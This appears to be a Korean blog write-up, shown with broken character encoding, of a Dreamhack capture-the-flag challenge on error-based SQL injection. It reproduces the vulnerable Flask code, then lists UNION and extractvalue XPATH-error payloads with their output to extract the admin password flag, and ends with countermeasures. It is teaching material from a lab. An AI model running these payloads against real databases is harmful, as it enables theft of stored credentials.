๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/๋กœ๋“œ๋งต_ServerSide

[Dreamhack] Level1: error based sql injection

by Yun2๐Ÿ‘ 2024. 1. 26.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธ Access

Simple Error Based SQL Injection !

 

 

๐Ÿ‘พ Exploit Algorithm & Payload

> app.py

๋”๋ณด๊ธฐ
import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')import os

 

> init.sql

๋”๋ณด๊ธฐ
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;

 

 

#1


: '/' ํŽ˜์ด์ง€์—์„œ uid ํŒŒ๋ผ๋ฏธํ„ฐ์— ๊ฐ’์„ ์ž…๋ ฅํ•˜๋ฉด ๋ฐ˜์‘์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

#2


'
(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1")

: ์‹ฑ๊ธ€ ์ฟผํ„ฐ๋ฅผ ์ž…๋ ฅ ์‹œ, ์—๋Ÿฌ๋ฌธ์ด ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: ์—๋Ÿฌ๋ฅผ ๋ฐœ์ƒ ์‹œ์ผœ์„œ ์ •๋ณด๋ฅผ ์–ป์–ด์•ผ ํ•˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

 

#3


' UNION SELECT 1#
(1222, 'The used SELECT statements have a different number of columns')

' UNION SELECT 1,2#
(1222, 'The used SELECT statements have a different number of columns')

' UNION SELECT 1,2,3#     <- ๋ฐ˜์‘์ด ๋‹ค๋ฆ„

: ' UNION SELECT 1,2,3# ์—์„œ ๋‹ค๋ฅธ ๋ฐ˜์‘์ด(์˜ค๋ฅ˜ ๋ฐœ์ƒX) ๋‚˜ํƒ€๋‚ฌ๊ธฐ ๋•Œ๋ฌธ์— ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ•ด๋‹น ์—ด์ด 3๊ฐœ๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

#4


' UNION SELECT extractvalue(1, concat(0x3a, version()))#
(1105, "XPATH syntax error: ':10.3.39-MariaDB-0+deb10u1'")

' UNION SELECT extractvalue(1, concat(0x3a, (SELECT DATABASE())))#
(1105, "XPATH syntax error: ':users'")
...

: ' UNION SELECT extractvalue(1, concat(0x3a, (   )))#์„ ํ™œ์šฉํ•˜์—ฌ ๋‹ค์–‘ํ•œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ •๋ณด๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: ์ด๋Š” 'extractvalue(xml_source, xpath_expression)' ๋‘ ๋ฒˆ์งธ ์ธ์ž์ธ xpath_expression์˜ XPATH ๋ฌธ๋ฒ•์„ ๊ฐ•์ œ๋กœ ์˜ฌ๋ฐ”๋ฅด์ง€ ์•Š์€ ํ˜•ํƒœ๋กœ ์ž‘์„ฑํ•˜์—ฌ ์˜ค๋ฅ˜๋ฅผ ์œ ๋ฐœํ•œ ๊ฒƒ์ด๋‹ค.

 

' UNION SELECT extractvalue(1, concat(0x3a, (SELECT LENGTH(upw) FROM user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':44'")

: ์ด ์—๋Ÿฌ๋ฌธ์„ ํ™œ์šฉํ•ด์„œ ์‚ฌ์šฉ์ž uid(์•„์ด๋””)๋งŒ ์•Œ๋ฉด ํ•ด๋‹น ์‚ฌ์šฉ์ž์˜ upw(๋น„๋ฐ€๋ฒˆํ˜ธ)๋ฅผ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

: admin(๊ด€๋ฆฌ์ž)์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฐฏ์ˆ˜๊ฐ€ 44๊ฐœ๋กœ ํ™•์ธ๋˜์—ˆ๋‹ค.

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


์—ฌ๊ธฐ์„œ ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ฐ€๋Šฅํ•˜๋‹ค.

 

1) 

' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(upw,1,1)='A' from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")

' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(upw,1,1)='B' from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")
...

' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(upw,1,1)='D' from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':1'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(upw,2,1)='H' from user WHERE uid='admin')))# (1105, "XPATH syntax error: ':1'") ...

: subquery์•ˆ์—substr์„ ํ™œ์šฉํ•˜์—ฌ ์ฐธ(True/1), ๊ฑฐ์ง“(False/0)์œผ๋กœ ํ•ด๋‹น ์—ด์— ์–ด๋–ค ๊ฐ’์ด ๋น„๋ฐ€๋ฒˆํ˜ธ์ธ์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: ๋”์šฑ ๋น ๋ฅด๊ฒŒ ์•Œ์•„๋‚ด๋ ค๋ฉด ์ž๋™ํ™” ์ฝ”๋“œ ์ž‘์„ฑ ๋ฐ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋œ๋‹ค.

 

2)

๋”๋ณด๊ธฐ

' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),1,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':1'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),2,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),3,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),4,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),5,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':1'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),6,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),7,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")

 

-> 1000100 = (2^6) * (2^2) = 68('D')

: ๋น„ํŠธ ์—ฐ์‚ฐ์„ ํ†ตํ•ด์„œ๋„ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ๋‹ค.

: ์ด๊ฒƒ ๋˜ํ•œ ๋น ๋ฅด๊ฒŒ ์•Œ์•„๋‚ด๋ ค๋ฉด ์ž๋™ํ™” ์ฝ”๋“œ ์ž‘์„ฑ ๋ฐ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉ

 

3) 

' UNION SELECT extractvalue(1, concat(0x3a, (SELECT ascii(substr(upw,1,1))=68 FROM user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':1'")

: ์ด์ง„ ํƒ์ƒ‰์„ ํ™œ์šฉํ•˜์—ฌ ํ•ด๋‹น ๊ฐ’์ด ์กด์žฌํ•˜๋ฉด 1, ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด 0์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ๋‹ค.

: ์ด๊ฒƒ ๋˜ํ•œ ๋น ๋ฅด๊ฒŒ ์•Œ์•„๋‚ด๋ ค๋ฉด ์ž๋™ํ™” ์ฝ”๋“œ ์ž‘์„ฑ ๋ฐ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉ

 

4)

' UNION SELECT extractvalue(1, concat(0x3a, (SELECT upw FROM user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':DH{c3968c78840750168774ad951...'")

' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(upw,20,45) FROM user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':8774ad951fc98bf788563c4d}'")

: ์—ฌ๊ธฐ์„œ๋Š” ๋„ˆ๋ฌด admin(๊ด€๋ฆฌ์ž) upw ๊ฐ’์ด ๊ธธ์–ด์„œ ์ž˜๋ฆฌ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: ์ด๋•Œ substr์„ ์ด์šฉํ•˜์—ฌ ์ผ์ •ํ•œ ์˜์—ญ๋งŒ ์ž˜๋ผ์„œ ๋ฆฌํ„ดํ•ด์ฃผ๋ฉด ๋œ๋‹ค. 

 

: ์‚ฌ์‹ค ์ด๊ฒƒ ์ด์™ธ๋„ ๋” ๋‹ค์–‘ํ•˜๊ฒŒ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•  ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.

 

 

 

๐Ÿ“Œ Summary


Error-Based SQL Injection

 ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„์ ์œผ๋กœ ์ž˜๋ชป๋œ SQL ์ฟผ๋ฆฌ๋ฅผ ๋งŒ๋“ค์–ด์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ „์†กํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•. ์ด๋Ÿฌํ•œ ์ž˜๋ชป๋œ SQL ์ฟผ๋ฆฌ๊ฐ€ ์‹คํ–‰๋˜๋ฉด, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ˜ํ™˜ํ•จ. ์ด ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋Š” ๋ณดํ†ต ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๊ตฌ์กฐ๋‚˜ ์ค‘์š”ํ•œ ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ์ž๋Š” ์ด ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ๋ถ„์„ํ•˜์—ฌ ๊ตฌ์กฐ๋ฅผ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ๊ฒŒ๋จ. ์ฃผ์˜.

 

-๋Œ€์‘๋ฐฉ์•ˆ- 

1) ์ž…๋ ฅ ๊ฐ’ ๊ฒ€์ฆ

2) ํŒŒ๋ผ๋ฏธํ„ฐํ™”๋œ ์ฟผ๋ฆฌ ์‚ฌ์šฉ(Prepared Statement)

3) ์ ์ ˆํ•œ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€ ๊ด€๋ฆฌ
: ์‚ฌ์šฉ์ž์—๊ฒŒ ์ง์ ‘ ํ™˜๊ฒฝ ๋ฉ”์‹œ์ง€๊ฐ€ ๋…ธ์ถœ๋˜์ง€ ์•Š๋„๋ก ํ•ด์•ผํ•จ

4) ์ตœ์†Œ ๊ถŒํ•œ ์›์น™ ์ ์šฉ

5) ์›น ๋ฐฉํ™”๋ฒฝ ์‚ฌ์šฉ

...

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > ๋กœ๋“œ๋งต_ServerSide' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level2: blind sql injection advanced  (0) 2023.09.16